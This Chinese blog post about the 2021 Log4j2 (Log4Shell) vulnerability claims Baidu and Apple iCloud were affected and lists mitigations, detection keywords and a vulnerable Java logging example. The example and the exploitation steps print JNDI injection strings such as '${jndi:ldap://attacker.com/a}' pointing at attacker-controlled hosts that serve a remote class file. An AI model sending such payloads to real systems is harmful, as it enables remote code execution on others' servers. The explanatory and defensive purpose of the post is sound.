百度和苹果疑似中招log4j2漏洞!

2021-12-21 15:05:50 浏览数 (1)

话说,这次的漏洞影响面很广(百度和苹果已中招,后面有详细截图)。通过 Google 搜索引擎对依赖该组件的产品、其他开源组件分析,发现有 310 个产品、开源组件依赖了 Apache Log4j2 2.14.1 的版本。

根据网络空间测绘系统 Quake 探测的全网使用 Java 语言编写的产品部署数量如下图所示:

Java语言编写的产品项目数

其中大量的项目使用了 Log4j2。

另外根据在国内 Java 开发的组件的部署量重点地区是北京市、广东省、浙江省、上海市以及中国香港特别行政区。

Log4j2漏洞影响

目前该漏洞被利用不需要特殊的配置即可完成。

同时该漏洞的 POC、EXP 已公开,攻击危害大,利用复杂度低,影响范围广。建议相关用户及时进行修补更新,做好相关防护措施。

根据昨天各大网站上热搜和网友的讨论,有人发现百度中招了。

百度中招漏洞

目前我再再百度上重现,发现百度已经修复了这个漏洞。

其他的已经发现的有 Steam、Apple iCloud,百度等云服务和 Minecraft 等应用程序容易受到这种攻击。

任何使用 Apache Struts 的人都可能受到攻击。在 2017 年 Equifax 数据泄露等违规事件中看到类似的漏洞被利用。

许多开源项目,如 Minecraft 服务器 Paper,已经开始修补它们对 log4j 框架的使用。

苹果公司漏洞在登录框输入 poc 代码进行 dns 查询:

苹果中招 log4j 漏洞

dns 查询成功返回代码:

远程代码执行漏洞

远程代码执行漏洞

升级到最新版本:

请联系厂商获取修复后的官方版本:

github.com/apache/logging-log4j2

已发现官方修复代码,目前已正式发布:

https://github.com/apache/logging-log4j2/releases/tag/rel/2.15.0

缓解措施:

  1. 禁止没有必要的业务访问外网。
  2. 设置jvm参数 “-Dlog4j2.formatMsgNoLookups=true”
  3. 设置“log4j2.formatMsgNoLookups=True”
  4. 系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”
  5. 升级idk 11.0.1 8u191 7u201 6u211或更高版本
  6. 限制受影响应用对外访问互联网,并在边界对dnslog相关域名访问进行检测。

流量查询

攻击者发送的数据包中可能存在”${jndi:}” 字样,推荐使用全流量或 WAF 设备进行检索排查。

攻击者在利用前通常采用 dnslog 方式进行扫描、探测,常见的漏洞利用方式可通过应用系统报错日志中的javax.naming.CommunicationExceptionjavax.naming.NamingException: problem generating object using object factoryError looking up JNDI resource关键字进行排查。

人工检测是否受影响

  1. 相关用户可根据 Java jar 解压后是否存在org/apache/logging/log4j相关路径结构,判断是否使用了存在漏洞的组件,若存在相关 Java 程序包,则很可能存在该漏洞。

Apache Log4j 任意代码执行漏洞|RCE

  1. 若程序使用 Maven 打包,查看项目的 pom.xml 文件中是否存在下图所示的相关字段,若版本号为小于 2.15.0,则存在该漏洞。

Apache Log4j任意代码执行漏洞|RCE

  1. 若程序使用 gradle 打包,可查看 build.gradle 编译配置文件,若在 dependencies 部分存在 org.apache.logging.log4j 相关字段,且版本号为小于 2.15.0,则存在该漏洞。

Apache Log4j任意代码执行漏洞|RCE

有漏洞的代码示例

代码语言:javascript复制
import org.apache.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = Logger.getLogger(log4jExample.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
    
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:"   userAgent);

    String response = "<h1>Hello There, "   userAgent   "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

利用步骤

  1. 来自用户的数据被发送到服务器(通过任何协议)。
  2. 服务器记录请求中的数据,包含恶意负载:(${jndi:ldap://xttblog.com/a}其中 xttblog.com 是攻击者控制的服务器)。
  3. 该 log4j 漏洞由该有效载荷触发,服务器 xttblog.com 通过Java 命名和目录接口(JNDI)发出请求。
  4. 此响应包含注入服务器进程的远程 Java 类文件(例如http://www.xttblog.com/Exploit.class)的路径。
  5. 此注入的有效载荷触发第二阶段,并允许攻击者执行任意代码。

由于此类 Java 漏洞非常常见,老外程序猿已经创建了开源工具来轻松利用它们。

漏洞利用条件

运行易受攻击 log4j 版本的服务器(如上所列)。

具有任何协议(HTTP、TCP 等)的远程访问端点,允许攻击者发送任意数据,端点中记录攻击者控制数据的日志语句。

0 人点赞